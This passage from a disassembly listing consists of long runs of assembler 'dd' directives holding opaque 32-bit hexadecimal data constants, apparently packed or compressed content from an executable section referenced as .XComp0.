0DDE74216h, 69E71E60h, 156681DBh, 0DE3D1E32h dd 0FCB8E513h, 9E071A50h, 0EC62C1B7h, 9C31B137h, 11A1A3D5h dd 94661132h, 15668CDDh, 315AC332h, 3162AB6Eh, 0DDEB9CCEh dd 7560887Dh, 1563CA3Dh, 6DD92232h, 7351D938h, 7E326EB3h dd 0FCB7BB53h, 1566223Bh, 19002205h, 0C5C6B89Eh, 0AC371400h dd 76A90A20h, 11425D03h, 0E7E7D26Bh, 76A96C20h, 1A6B9552h dd 4507D88Dh, 0F842A4B3h, 4C6CED55h, 728B9C64h, 0E4671B9Bh dd 156D616Ch, 88784432h, 0E04C17AEh, 0C9AA42B0h, 34EBA34Fh dd 1A63BD17h, 156623B2h, 0A8E5E932h, 109F9F37h, 0DEE24B32h dd 1A662232h, 156609BAh, 15756132h, 8F044432h, 0ED05AE33h dd 0E2E4605Dh, 65C376E5h, 20381D58h, 28E3A916h, 0FC63E820h dd 15668826h, 5A1BB37Ah, 8FA68C69h, 0C18DD4D5h, 0DEBD23C3h dd 9917D593h, 263A719h, 956914CBh, 1566883Fh, 5A94FC52h dd 9C691E44h, 15661132h, 1AA7B353h, 156629B4h, 1575CB32h dd 60A1132h, 8C81A6ABh, 0D81FA8B8h, 0A5BB1902h, 0DBEA476Fh dd 0E0E303CDh, 1A63BD15h, 15663FB5h, 9E007132h, 157460C5h dd 0EE774432h, 92957328h, 99A29FD9h, 0D6625E66h, 0EB1888A7h dd 9065436Ah, 109F0637h, 0C0E301CAh, 0ED63BD36h, 1567D2DBh dd 6E91E32h, 0FC668832h, 1566443Ch, 0D70A2DF2h, 87D01FF9h dd 0AB9AEBC2h, 0EE0E7637h, 9C662273h, 4493353Eh, 142A4B3h dd 9E79E869h, 0D1E70636h, 15661136h, 0B93D9C37h, 1569AD2Dh dd 1352232h, 65DF60A6h, 0BFC8ADACh, 8C3D44DDh, 14DF7354h dd 3C661132h, 9669D1FAh, 15664438h, 0D7E74452h, 9E009702h dd 0AE35E9C2h, 15664BCDh, 9EDFA3Bh, 11A29016h, 0ED668832h dd 60DAFD63h, 0F4A708F7h, 0E2B7E635h, 0C8F09E3h, 943DC821h dd 3BACCADBh, 4CAE3835h, 15669CDBh, 17A1E132h, 9FC7401Dh dd 0DC049636h, 7045C6BBh, 0C06731C8h, 28E3AB09h, 0E963E820h dd 18E389CEh, 0E063BD2Ch, 263A7F5h, 156614CBh, 1A068832h dd 156646BBh, 0AB3C7032h, 41D7DD25h, 0FC26E253h, 1566443Ah dd 0D291D098h, 0B96A6F6h, 1576885Ah, 198F2432h, 2A662232h dd 239277D9h, 203D04EBh, 0FD1806ADh, 15662221h, 0BA4E2DB5h dd 0DEE6DE8Bh, 0AE28D5E6h, 0ED768242h, 0E93C5220h, 500EE96Ch dd 9C664478h, 7506063Eh, 1AB5C3B2h, 156688B7h, 7F072532h dd 1E52D32h, 0FC661132h, 1566883Dh, 0B9552160h, 2EF729BBh dd 0EC7A0B7Eh, 1A1EDB7Ch, 15664EBDh, 0AC004232h, 0AE009646h dd 0EA0734C8h, 0EC76B5A7h, 108E4237h, 25661132h, 9BF8A396h dd 156655DBh, 12DCA532h, 72274D68h, 0C138AB7h, 1B3BDC8Ch dd 0FC38D2E2h, 1566113Eh, 5D275F82h, 0BCC560DBh, 743FD576h dd 28F3EE53h, 0EC637135h, 3293C1BBh, 940627CBh, 31DD1BEDh dd 7C970904h, 741A4F3Ch, 0C0E3ABCBh, 0FC63E836h, 15668826h dd 210A4D6Bh, 0EB4F7EB0h, 5CCFCF35h, 75649647h, 5A706379h dd 0F8DE4452h, 17E81EBAh, 9E668832h, 219925C5h, 0D1E57B16h dd 1FE51E36h, 75668832h, 9A698FB9h, 15662232h, 0C0D3EE53h dd 75637136h, 743E96B2h, 304797CDh, 966914CBh, 15668835h dd 1567C83Dh, 43932232h, 0D3E7F7BBh, 15668836h, 1562AAB3h dd 21E12232h, 29EF4D16h, 0A0997116h, 109F407Bh, 0C2ED4452h dd 0EDE39C53h, 1A608855h, 15664CBDh, 17EF2D32h, 75661132h dd 0C5997D53h, 1562C13Dh, 47062232h, 1A8F706Ah, 6E668832h dd 0E57392C5h, 0E739369Eh, 0A75FD328h, 9867E3EEh, 109F5337h dd 156AAE3Dh, 9D691132h, 15668834h, 1566CB3Dh, 0A8ED2232h dd 109F15E7h, 0F3E7EE52h, 9400E3C8h, 74C880FCh, 3047A4B9h dd 9F698DCBh, 15664429h, 0FDADA952h, 15661123h, 0AD80413Bh dd 387F4633h, 7EF28420h, 5B8CD25h, 0E607D264h, 0CEE62496h dd 0CBE744C0h, 9E07F250h, 0EC7C7187h, 0B89FBC37h, 156627DBh dd 21B9E32h, 7D36655Ch, 4F304693h, 0D5DB776Ah, 3C58D82Fh dd 102ED5DAh, 0F1155F12h, 4D9A64BBh, 0E6ED7752h, 156698DBh dd 0EDAC0832h, 3945E5DEh, 4303D6BCh, 39A2A656h, 0D5A7258Bh dd 1C8E4237h, 93661132h, 0AC2DCA08h, 77AABD88h, 7410936Bh dd 3BAFAC67h, 5963C8E5h, 14361339h, 1E2A0FDAh, 753B4165h dd 59BF0864h, 195AFB6Dh, 160733F4h, 0EC72DCB7h, 156D6137h dd 261D4432h, 697B8BD8h, 0E0C3D4D3h, 0C0EB03C1h, 1A63BD36h dd 156623BAh, 9E69E832h, 15668827h, 1561AC52h, 35532232h dd 616C576Fh, 9569D6D9h, 15664432h, 118AA153h, 9C4205BBh dd 4F7601F8h, 156AC93Dh, 98692232h, 15661134h, 15660B3Dh dd 0FCCB4432h, 1566223Dh, 0BBD71978h, 0BD81CF8Ch, 0AE3A1050h dd 46933CACh, 15661189h, 0CAEFDF32h, 4A9A3ABBh, 1A374269h dd 156611B9h, 0F6E7D132h, 721C3E23h, 0ECD3AB53h, 1A63E828h dd 156694B4h, 18F2432h, 68662232h, 7EC42055h, 3EF43B27h dd 45DE9B8Eh, 783EBDB9h, 0E9C6A6C6h, 0EA9E0B53h, 15FEC13Dh dd 9E062232h, 1575F8E2h, 6B988832h, 18D1730Ah, 99A47D56h dd 6055CD28h, 0DD210172h, 2BE7257Ch, 0C8BBFFEFh, 1516943Dh dd 73068832h, 51438FB3h, 74B79D3Dh, 1562FDB3h, 1EF8832h dd 3B16FE16h, 0FFE74E69h, 14521159h, 3B637AB3h, 3EF2F15h dd 0CDE74268h, 7664ACB6h, 45072E87h, 1566408Ah, 9EA02332h dd 0D1E53536h, 14E08736h, 0E9664432h, 0F9F97BBh, 58F14CBh dd 0D668832h, 0B66E387Ch, 0C570ACDFh, 0BCFBBCDAh, 0FC757AFCh dd 0EA99961Fh, 156627DBh, 0B8BE1732h, 0D5A794FFh, 0FC062431h dd 15662222h, 0DAAA2554h, 0F7DAA8BCh, 1CCAF79Dh, 78E4D0Bh dd 0CDE770C7h, 6089A13Dh, 0D8E34753h, 7563DB26h, 51B4A88h dd 1A8FE83Eh, 98664432h, 9AEFBAB8h, 0E6F649FEh, 38A44EA6h dd 74062F7Fh, 0A8E54353h, 109F0893h, 0B9E28733h, 1A664431h dd 15662BB1h, 0AA697132h dd 0BCD8EEF2h, 2BE72512h, 0BFCC8898h, 15EA943Dh, 138F8832h dd 34664432h, 0F72AE15Fh, 11DC432Dh, 14668832h, 3172CFE4h dd 1562E6B3h, 9D691132h, 1566883Ah, 1564C13Dh, 74062232h dd 1566AB60h, 94348832h, 76336036h, 53E90CC3h, 0E90890CEh dd 3B97EB67h, 0A2692468h, 0C3BFA2CCh, 249E2053h, 759EB9F5h dd 1577C83Dh, 198F2232h, 1F661132h, 7C79299h, 0CE952120h dd 1A603A81h, 4707C78Dh, 0FFE60F80h, 4FB6CCACh, 0DAD12D52h dd 0FC074E63h, 1566886Bh, 9C69BC52h, 15662233h, 7D3670CEh dd 15668E6Dh, 4D4278BBh, 9593426Dh, 440729C3h, 0F8A6CD87h dd 0A1ABC431h, 9546CFB2h, 460083F7h, 0E8564E85h, 0FDEE1F54h dd 0AF00426Bh, 0A306E467h, 156060A7h, 63074432h, 0AB0CCD86h dd 1A07706Dh, 156680BCh, 0F6E72432h, 648CFB3h, 6BC7953h dd 11EF8832h, 9E9F2416h, 0A8E543F1h, 109F3873h, 6AE28733h dd 75664433h, 0F9D25280h, 14667953h, 11ED8832h, 11A2C716h dd 15662DDBh, 0F220732h, 8227E4D6h, 0F2C3FB41h, 0FD4467E4h dd 157C993Dh, 0FC068832h, 1566443Fh, 0D48E76ECh, 0E17C2536h dd 281A71B8h, 15EF4BEFh, 74662232h, 0C29EACB1h, 1A668E33h dd 156609B6h, 0F7E74232h, 7A909A0h, 1B9F3054h, 55FBC953h dd 7560224Eh, 156618DAh, 0C2871632h, 69B35C8Ah, 0D1E69F4Bh dd 0DDE64B8Fh, 0C699E91Fh, 156641DBh, 350B4E32h, 1A06A117h dd 15668EB8h, 15EC4B32h, 0FC662232h, 15661137h, 8FFBACC1h dd 2AE625A0h, 5AE22DA2h, 75661132h, 15726163h, 0C2FD4432h dd 51804FB0h, 0AD943458h, 91098DDFh, 0A8BC0D36h, 1A3CCC1Fh dd 7D07C085h, 156687FDh, 0AE4258BBh, 15662237h, 0FC3DCE33h dd 15668826h, 0E535C29Dh, 9F10FD68h, 0D7BD2561h, 20D5EE02h dd 0B211BD55h, 156784DBh, 0EDE5E832h, 6AE48762h, 75664432h dd 1566AB3Dh, 96691132h, 15668820h, 156649DBh, 0F1559F32h dd 81EFAED5h, 8D7FAF26h, 4407E39Ch, 87D62087h, 19EDF902h dd 11A20B16h, 0C5E72252h, 9269FE05h, 1566113Eh, 15668FDBh dd 0FF61CE32h, 0AB7DF4E7h, 138FBB53h, 96668832h, 9E4A8A49h dd 3162A9E9h, 94849860h, 15668CF0h, 11A4C732h, 494236B5h dd 9D69BBCBh, 1566883Eh, 1560C03Dh, 9F692232h, 15661132h dd 15663FDBh, 2199BC32h, 0D1E57A16h, 14EB1E36h, 0E9668832h dd 1B8E2498h, 60662232h, 41545EECh, 50B6611Eh, 0ED240D4Eh dd 0DDD12D86h, 4EDE776Ch, 6AE6E9E2h, 9069ADCDh, 156622B2h dd 15659C3Dh, 0ED068832h, 0EDDBC753h, 156023E5h, 1552953Dh dd 9C698832h, 15664436h, 749AA852h, 6E678CBFh, 1D8F8E32h dd 65664432h, 9705EC7Ah, 0EA3CE7B3h, 1AE687E1h, 0FC664432h dd 15662238h, 0BCD70CAEh, 0F4DDED78h, 9D34E978h, 1131AAF0h dd 944205B9h, 15668CF6h, 19E84B32h, 1A662232h, 156617B8h dd 15E88732h, 0FC664432h, 15662222h, 365EC6Bh, 0EEED8441h dd 0D720A116h, 0D6599D9Fh, 11B394B9h, 96698DCBh, 15664435h dd 0FBE74452h, 0FC071B2Ah, 1566883Eh, 0CC25A3BAh, 47C19A5h dd 0FA54F158h, 5C058C37h, 1F996976h, 0ED4F6730h, 176CEE37h dd 7662A577h, 9269007Bh, 15662239h, 76DC7752h, 5E75370Dh dd 46077920h, 15662689h, 9EBE3832h, 0D1E5AC2Eh, 0FCCDBC36h dd 15662235h, 5B81DC54h, 0B8714303h, 156649DBh, 0DE92E332h dd 0C2ED393Ah, 0D9EB4400h, 0AC37B964h, 0EA99DDCEh, 0AE35E033h dd 15668832h, 4C3D5DBBh, 1575CBC7h, 0A4191132h, 8B4A1B29h dd 967CF9FBh, 0F15AC1C8h, 0ADABE0ACh, 0EF95617Ch, 0FC93BBCDh dd 15662226h, 0B0269056h, 54623470h, 0EA6F8E4Dh, 2D7CD2A1h dd 3B444AA1h, 0F9F3DBBh, 1A8F41CBh, 0BD662232h, 8671591Dh dd 647F369Ah, 9BEAD2B6h, 0F0E2A55h, 9C661111h, 7D93AC26h dd 1566C432h, 156627DBh, 94C52D32h, 7F9FC337h, 0F0D52432h dd 1576CB60h, 0F3EC1132h, 0CFD28B49h, 0A617EA08h, 0AF4736FCh dd 743C9B23h, 31333DCDh, 759F41CBh, 1572CA52h, 7F571132h dd 6F4117B2h, 0C0EDB2F2h, 427EA83Fh, 0DE20ED79h, 953C2D50h dd 740753E6h, 3237B7CDh, 1D8F14CBh, 40668832h, 1FE0B16h dd 0EA9738A9h, 943C3506h, 15668CF6h, 156CAD32h, 13A82232h dd 0D0F73C2Ch, 0A1AE2527h, 3763C9B9h, 9F6927CBh, 15661125h dd 1577003Dh, 198F4432h, 0C662232h, 0ECD8990Ah, 3DA521BAh dd 468B064Eh, 15662289h, 0D2AD1032h, 15668831h, 317ACF32h dd 1562E6B3h, 73061132h, 45144EB3h, 7401B2B2h, 15629961h dd 0FCE71132h, 630BCBC9h, 0D4E79D33h, 630B61C9h, 12E01E69h dd 1A668832h, 156645BAh, 98EFDE32h, 109F3337h, 0F4883652h dd 9E00331Dh, 0D08F43F8h, 1A99EEF7h, 15668EB9h, 74062432h dd 0FC078387h, 15663D34h, 0C2EDEE52h, 15664EDBh, 86C1B532h dd 36D8630Ah, 74CC0C67h, 156643DBh, 0C4823732h, 46CE9FF5h dd 15746152h, 3B4B4432h, 613C8D01h, 13451009h, 31678A6Bh dd 79C5BD49h, 3763AFB9h, 0EA9314CBh, 0AD8DE03h, 3C635D0Eh dd 4B620646h, 0AA7906Bh, 1A63910Eh, 156652BCh, 1577CB32h dd 82341132h, 85138B78h, 8F937624h, 16D596C8h, 0FC92289Eh dd 15668834h, 45D42119h, 98EFDE77h, 1367C6C6h, 5B5E09CAh dd 1A2A0066h, 156683B7h, 9400E432h, 3B2A8C4Ah, 15F2C13Dh dd 0FC062232h, 1566113Ah, 0ED5B31E6h, 96E51D8Bh, 1576A33Dh dd 1F8E1132h, 0A1668832h, 44D586F6h, 9CE02738h, 45074E6Fh dd 9642BCB9h, 9A6940F6h, 1566223Fh, 0C9ABA952h, 9E69F029h dd 15664432h, 13DB7753h, 94661132h, 795B44F4h, 94884506h dd 795BEEDCh, 75934C06h, 9E0757B9h, 0EC6FE5B7h, 128E4237h dd 0AA661132h, 5ADA3378h, 0C6EC71F2h, 4E8EA36Bh, 7400ADFFh dd 1563EADBh, 1572AD32h, 7ED72232h, 6A9F8E40h, 7DEFC340h dd 0EACDB1DFh, 8DA491F7h, 9C347063h, 9EB001F0h, 0D1E56026h dd 0F90ED736h, 9C661177h, 0EC3CAC36h, 15664CDBh, 0E218D532h dd 21DBBAD1h, 0FCAFB9AFh, 1566443Fh, 1C6C6FC0h, 0CBCBC0Dh dd 93A40127h, 1E8F24FAh, 0B9662232h, 0F5E3AC70h, 92562175h dd 0B9076DECh, 0AA6942CBh, 0EEED77F2h, 1A66B453h, 1567E1B6h dd 18EC2D32h, 0FC661132h, 1566883Ah, 456E27AEh, 0B5941F09h dd 91693C0Eh, 0EA9977E1h, 1A4878CEh, 1566FCB6h, 92697132h dd 15668836h, 6828FA54h, 1565A43Dh, 9E001132h, 255AE9EDh dd 1028C63Dh, 1A062232h, 156615B5h, 0A5DEEE32h, 7491CE7Dh dd 93691B0Eh, 0EA99EEA5h, 15670B3Dh, 0FC9F4432h, 15662222h dd 7DEEF3E5h, 9C692BD0h, 42839376h, 0CE7F9ABCh, 9769500Eh dd 15668D26h, 0CE54BCBh, 0FC662232h, 15661126h, 991A3AABh dd 0A6DFB63Eh, 94902444h, 0E91A13D0h, 0BB6A20B3h, 93691E0Eh dd 0EA99DD79h, 156C943Dh, 9E068832h, 15EB4BFDh, 74662232h dd 91694E0Eh, 0EA997701h, 15664EDBh, 93E35132h, 0F4E4123Bh dd 29013421h, 0A8E44B53h, 0E9662236h, 93696B0Eh, 0EA997721h dd 15664CDBh, 0FF49F832h, 407637Fh, 11C461B5h, 94064432h dd 0E450D0F5h, 138F430Eh, 6C668832h, 26AF982Ah, 92077802h dd 403454D8h, 9869D568h, 1566443Eh, 1560A53Dh, 90691132h dd 15668832h, 9169B60Bh, 1566265Eh, 75DD42CBh, 0E2683279h dd 0C69107E9h, 0A1C5E1B3h, 0CF4FE077h, 3E38769h, 0FC664432h dd 15662223h, 4634A19Eh dd 0B4D2682Eh, 0AEA25F16h, 8AB52654h, 0AE35E822h, 0EA9977CDh dd 1A3D9D1Bh, 15663AB1h, 1575F832h, 0C06B8832h, 52EC66ADh dd 0B86A9FC1h, 88608E6Bh, 0EAF13506h, 95062423h, 0AA69A3D5h dd 966970CDh, 15668830h, 0FC071F63h, 0EA99DC69h, 15619F3Dh dd 9F698832h, 15664433h, 0AA6942CEh, 0DCE370C8h, 16840C3Dh dd 9A694432h, 15662233h, 0D0D39CCEh, 0E063711Ah, 155CD25Ah dd 3152AB32h, 0E4EFC7BBh, 156B616Ch, 0BF704432h, 6C9BFD15h dd 7F6649EEh, 7D5421BBh, 15666B56h, 944236BBh, 711E3506h dd 9439B46Fh, 48023CC5h, 1568CB0Eh, 0CF811132h, 0E0E77BD9h dd 0A91C7F85h, 17B008AEh, 4600D782h, 0ED66E085h, 58F1F54h dd 33662232h, 2BB74C3Fh, 5AC28C83h, 0B655A62Ah, 0BB1D2B1Ch dd 9569EC47h, 15668829h, 0FCB8CF52h, 15662220h, 0FA267A7Dh dd 0B161FC74h, 0A0034092h, 0EE96B879h, 0FC0763D9h, 15668822h dd 9CDDC9E7h, 6A1AD14Ah, 876C3DADh, 3E9E57CEh, 630F85B3h dd 0D4E70962h, 2C6634DCh, 0FCE7711Bh, 2C6661DCh, 630FCBB3h dd 58F3A62h, 99668832h, 5F4E75DFh, 3B59560Ch, 47986B5Fh dd 4495CBD3h, 0E2381D64h, 0FC97A5ECh, 1566113Ah, 0D07F62F1h dd 0C0D5421Fh, 1973CDB3h, 0D2E73F75h, 724DC165h, 0FAE78B1Bh dd 724D6B65h, 1973D6B3h, 9D69A675h, 1566443Ah, 1564A23Dh dd 74061132h, 0EB577F03h, 1A06B303h, 0B3DDF585h, 7476135Ch dd 0E9C27BCBh, 0E309F462h, 108EE2E2h, 2163F9F2h, 9D85BCD1h dd 11EDBB75h, 11A2A316h, 0FC661132h, 1566883Ah, 4D092D85h dd 0BC4B84AFh, 3DA384BFh, 9F698DCBh, 15664433h, 0BCE3A9CEh dd 0FC63E82Ah, 1566883Bh, 2A571EE8h, 0DE632377h, 1AA694A9h dd 1566E8B7h, 90A0B832h, 109F3AABh, 0C70EE875h, 1AB21295h dd 156655B2h, 156ACB32h, 0A5A81132h, 0E905856h, 78C8BAACh dd 0A0998FC8h, 109F19E3h, 15669CDBh, 0FA5B4232h, 9BD0302Fh dd 1ED2E3DBh, 49764C20h, 0D29FD325h, 5E3AF14h, 0ED63EDF7h dd 9D6958CDh, 1566443Fh, 15EB2D52h, 0AC661132h, 3169DBB6h dd 281D2C53h, 1EF2232h, 0D4E67116h, 0CFE7E80Ch, 2A98E680h dd 0E9A1A354h, 7507705Ch, 156687DBh, 0EF2BA632h, 3884B8BFh dd 47C5A65Fh, 0CBD8EFA6h, 0EA078AB9h, 1A06DEE2h, 156617B9h dd 0E6A40932h, 0FC619638h, 15662238h, 0C0332B79h, 54974205h dd 90074810h, 1DE32DF2h, 1A661133h, 15669BB2h, 1568AD32h dd 9DD22232h, 45E4F128h, 0E7C338C7h, 8BE37F0Ah, 38CBA7B9h dd 1A0614CBh, 15668EB2h, 0E2BEC532h, 1A76C2E4h, 156615B2h dd 0E1D8EE32h, 0D5E325E7h, 151EA73Dh, 95691132h, 15668835h dd 0D7ED2252h, 0D307E9B8h, 0EC7E88B7h, 9769C437h, 15664433h dd 98F4ACBh, 78FC8E8h, 71668832h, 6BF4288Dh, 0EF2F456h dd 9A6A8666h, 3F44F71Bh, 1569AD0Eh, 0DE032232h, 2E354E89h dd 9A05B9E4h, 0BEE177B4h, 0C4D3DDD3h, 7563E83Ah, 0FC983F3Dh dd 1566443Fh, 0AC0295AAh, 52CFF59Fh, 23BF781Ah, 90EB2586h dd 109AE722h, 15679F3Dh, 0EA938832h, 9C33BCE2h, 11A3A3D7h dd 96661132h, 39E18CDFh, 1EF1816h, 156ACB16h, 0BBD81132h dd 0C162691Fh, 809BE7AAh, 0C5999ED4h, 15679A3Dh, 909E8832h dd 9E34BF2h, 0FC662232h, 15661134h, 0EA8DEEAAh, 0B88F3D37h dd 0FC662232h, 15661135h, 0A3052A0Bh, 9C8920AFh, 14B1D6B7h dd 27DF7134h, 1A1705E5h, 156640B3h, 85D94432h, 0F9E570CAh dd 31620136h, 0F7EF16C7h, 1562E0B3h, 0FFE51132h, 31720F36h dd 3152CD6Eh, 0FD9A4252h, 15661138h, 9DD9E844h, 0D8F6560Dh dd 743E7853h, 5DD7765h, 9807D70Eh, 0E9B80EB7h, 0C599DB37h dd 1AA61ACBh, 1566B8B7h, 156FAD32h, 61482232h, 3C0E449Dh dd 0FC5DE8E0h, 15664402h, 156CCB52h, 27ED1132h, 22968E6Ah dd 9561644Dh, 1560AE3Dh, 9A691132h, 15668832h, 3122CD53h dd 1CEB2D2Eh, 75661132h, 45950954h, 7480F60Ah, 1568CB53h dd 7AB91132h, 58C385CCh, 45CB2941h, 42ED8AE4h, 1575F8F1h dd 0C9388832h, 738D7B65h, 99BF14C6h, 57F92469h, 0FE451C4Ch dd 138F2428h, 83662232h, 0E38545B5h, 0E1EB03B6h, 756045E5h dd 4691A954h, 74384865h, 94840160h, 156640F0h, 118CA332h dd 92661132h, 9C3AAC26h, 449E6036h, 0DE29D65h, 694F2C8Ch dd 4D398C16h, 0AB7EC037h, 108E420Fh, 9661132h, 81B059Dh dd 9E3F9AB9h, 0AE3543F3h, 1566110Eh, 616463B3h, 0D6674E17h dd 6164E1B3h, 16651B17h, 1BE38769h, 75664432h, 1566A03Dh dd 0F2E71132h, 4C8BADDBh, 1575AD53h, 0B5582232h, 893D62Ch dd 0CD24E1E2h, 473B10DBh, 96752CECh, 9DD6EE0Fh, 94668832h dd 7C2A6036h, 443C14D4h, 200B18Bh, 0EF870935h, 94558512h dd 133F8FBh, 0F4E75861h, 4F4A8957h, 7D4BB5B3h, 0DF4F46D0h dd 13EF1E6Bh, 75668832h, 885AFA54h, 90F3AB53h, 0EC63E816h dd 5DD9DF60h, 0AF5DB56Bh, 0E6ADFA30h, 9439EB33h, 68265BF8h dd 0F68CC53Ah, 1449DF42h, 0EA9E4BE2h, 1ED8442h, 11A2C716h dd 15662ADBh, 37657832h, 5EE7234h, 74F3CDE2h, 0E063DB1Ch dd 7DA9AF52h, 138EC031h, 98664432h, 30D176Dh, 15EC1E99h dd 4B668832h, 3152BB53h, 11A2A36Ah, 0E9661132h, 3142FCCDh dd 964240B9h, 0E99F26F6h, 0D142DE1Fh, 1C11A56Dh, 0DD4F399Bh dd 0BC6F5537h, 31A9144Fh, 9869D7F6h, 1566442Dh, 157FA13Dh dd 18F1132h, 0AF668832h, 0E4B1C6Dh, 5F1E585Dh, 6F49BB5Ch dd 52DA7B0Ah, 2EECB537h, 0EC4843B7h, 61E41E37h, 75668832h dd 156655DAh, 6A57832h, 619F43D4h, 7638D7A2h, 1D6A46E0h dd 4C9F1061h, 2E07D9B9h, 0EC420DB7h, 59E54B37h, 0E0662232h dd 15719C3Dh, 78F8832h, 0C4664432h, 55A8255Ch, 6B4AE21Ah dd 1949C46Ch, 0B7E00835h, 1A8F43C8h, 1661132h, 3832312Fh dd 7DE6F92Dh, 86633B98h, 11A400A4h, 5E08732h, 75664432h dd 156625DBh, 0EA62432h, 0C680FAC2h, 74072552h, 3162E5C7h dd 64567E65h, 0E2429CC5h, 0AA31602Eh, 64564D6Ah, 11426D1Bh dd 156D616Dh, 62374432h, 304BC8BDh, 2F580949h, 31224FF8h dd 0E6518836h, 312ADD4Ch, 313AE636h, 31020936h, 0E81FE836h dd 3102A354h, 8B541636h, 310A0967h, 0F9F83536h, 3132D5FCh dd 310A9036h, 71798736h, 313AB342h, 3122A336h, 69194C36h dd 0D3E7E86Ch, 65ED7BC8h, 1568CA52h, 0AED01132h, 615D916Ah dd 0F2465B48h, 0D927D119h, 1563F869h, 0E13E8832h, 74AEC742h dd 1BDD7153h, 9478FF00h, 516C94D1h, 585C512h, 944BCC05h dd 8E3B6EC1h, 0FEE7C346h, 5CDA406Eh, 383DFABBh, 3E454A2Fh dd 0FAE7EE52h, 0AE006D3Ch, 98076135h, 0EC28F9BFh, 156E6137h dd 0B0C44432h, 0F019C0DEh, 0F499427Dh, 1573073Dh, 58F4432h dd 57662232h, 0CB74A420h, 9071E27Ch, 0F6426D40h, 75708274h dd 15679F3Dh, 44938832h, 1566448Bh, 308FA332h, 1461D900h dd 30A709C3h, 9F618C00h, 1A937B33h, 156616B0h, 14E68732h dd 0EC664432h, 9169CB0Eh, 156610A7h, 1A8EB4CBh, 15678AB6h dd 12E02D32h, 75661132h, 9E00D362h, 1A5A25F4h, 151FA63Dh dd 1B8F1132h, 74668832h, 0BF10FB1Ch, 0F7C7E835h, 209C34D0h dd 1AABB42Ah, 156472B6h, 6E72D32h, 0FC661132h, 1566883Ch dd 5C5FCF08h, 8D808BD7h, 2AF79C7h, 0FE5A7D28h, 1702C03Dh dd 749A2232h, 156618DBh dd 897DD432h, 6EADE169h, 96696784h, 15661137h, 74067152h dd 1C8F8753h, 18662232h, 940BEE71h, 6424909Dh, 156BC43Dh dd 1A062232h, 156611B2h, 0EBDC3732h, 45073BC7h, 15679B63h dd 0DDEF1132h, 9F96896Bh, 94061C2Ah, 367D07E4h, 9C69715Ch dd 15668832h, 740793B8h, 0EBD29363h, 479791F3h, 25713C62h dd 0DE461CD3h, 198F426Bh, 0C7661132h, 230005BCh, 75C99D59h dd 750B100Ch, 74949A54h, 959D0853h, 0EA17C13Dh, 9A69DDCDh dd 15661135h, 73940352h, 4707BEB9h, 0C6EFD0BBh, 944205B9h dd 15668CF6h, 1A062432h, 58ED08Dh, 8D661132h, 2BB42F42h dd 0BB5E4B7Eh, 80555EB5h, 4BB3A84Eh, 9569E853h, 15664432h dd 0AC374353h, 15661134h, 19ED4333h, 11A2C516h, 1A662232h dd 15661BB1h, 15636132h, 879C4432h, 475EE8BEh, 15661388h dd 288C0932h, 144FED4Dh, 28A4A3C0h, 164FB84Dh, 9669D228h dd 1566443Fh, 15662ADBh, 908D2532h, 9399DEFCh, 1EF4B11h dd 0FC662232h, 1566113Dh, 0DE38BFABh, 0CA64D3E8h, 8C8E5E9Ch dd 0FC293E17h, 156688A9h, 1410BBCAh, 0A34226B3h, 9E6E3F6Eh dd 0D1E7AC2Eh, 15664436h, 49D0C9B3h, 18F191Ch, 72668832h dd 6CC119C1h, 0A5196534h, 14F8657Dh, 891E049Ah, 96910834h dd 9169D9C9h, 15661026h, 1567093Dh, 969A4432h, 21EF26DEh dd 31629016h, 4AA3C228h, 0F8DC569h, 7539E778h, 15629A3Dh dd 0AD008832h, 0FFE76B24h, 7F648DB1h, 14DF4053h, 14668832h dd 9E7F47C3h, 0D1E7063Eh, 15661136h, 15668DDBh, 1BCEC732h dd 0F9E59F47h, 31729836h, 15668D88h, 4FB54532h, 1567AD3Dh dd 0FC9F1132h, 0EA997615h, 156657DBh, 97C50532h, 0B3315C73h dd 34F67E35h, 5A63496Ch, 998707C1h, 157B943Dh, 73068832h dd 0B3068BB3h, 156633DBh, 4610632h, 5AFC50FFh, 0ADF5630Ch dd 0B496E216h, 1A073F3Ah, 7567D684h, 9F64B4B3h, 188F36ABh dd 76661132h, 8C58E1E6h, 8240891h, 6C07E8F5h, 3B8D9253h dd 0E8A30C3Dh, 1A8FBBCDh, 25662232h, 21BFDF6Ch, 3659572Bh dd 0AC854916h, 208FA8D0h, 0E0661132h, 156681DBh, 8CCB0832h dd 0AC5EC2C2h, 6BE6BB2Bh, 90697633h, 0EA99B9A1h, 1576CB52h dd 0F5FE1132h, 105D3022h, 0C548FC9Fh, 607420E2h, 2CDC479Bh dd 744948FDh, 0EA9DAADBh, 156CCBCDh, 9DE91132h, 43EB76DDh dd 537567CEh dword_5FF948 dd 9480AB64h, 156615F4h, 11880932h, 92664432h, 9C3A0606h ; DATA XREF: .XComp0:0057321Ao dd 9F693506h, 15668839h, 156642DBh, 2CF83E32h, 40E679D4h dd 0D0E76DBBh, 15664436h, 9262CFB1h, 9C3A351Eh, 0FC06AC3Eh dd 1566443Dh, 0C6A40630h, 3F6609EFh, 4D416520h, 432F36D7h dd 743F7A65h, 94879863h, 15668CF3h, 118FC732h, 49422EB5h dd 75420DBBh, 1565043Dh, 9E004432h, 6D0E43C9h, 9C661123h dd 9506AC0Eh, 9E0040F0h, 0D55743E5h, 1567963Dh, 75938832h dd 0DAED2263h, 7434946Ah, 20DD719Eh, 0FD6BF609h, 15664438h dd 3EEAEB0Dh, 0FA7DBC14h, 1D8E4199h, 57664432h, 991C8998h dd 4C540080h, 1C8FE968h, 4B664432h, 0A14CC808h, 11C47151h dd 9C6264B1h, 0D4EE603Eh, 1A3FE9BAh, 156616BDh, 14EF8732h dd 0E9664432h, 477E9262h, 0E556E984h, 3596A468h, 1A8F1CF1h dd 19662232h, 0CAC00E62h, 840F7950h, 8FBC503Bh, 9406227Bh dd 0F19EF1F5h, 9400E802h, 731327C5h, 74744289h, 659D9153h dd 10920C3Dh, 138F4432h, 7C662232h, 0F30403E3h, 1A69B4F1h dd 156741B6h, 156CCB32h, 7C0E1132h, 48F4AD78h, 77EBF642h dd 9169CB0Eh, 15661D53h, 15668DDBh, 2CDA2932h, 0FE5AA7D6h dd 50A953Dh, 299A8832h, 0EFE24BD1h, 1A662231h, 156609BFh dd 15756132h, 0CD324432h, 0D5FD0889h, 2F7C6B33h, 4D9380DCh dd 8D771C71h, 1A841E04h, 1577C4B6h, 29ED7132h, 0F6EF1716h dd 1562E1B3h, 0D6E51132h, 317A0F36h, 35DE246Eh, 742BEF1Dh dd 156601DBh, 9C5B9832h, 7F5A6D88h, 43D31C5Fh, 574A8646h dd 317A030Fh, 9480CD64h, 156626F4h, 11A09232h, 4942BCB5h dd 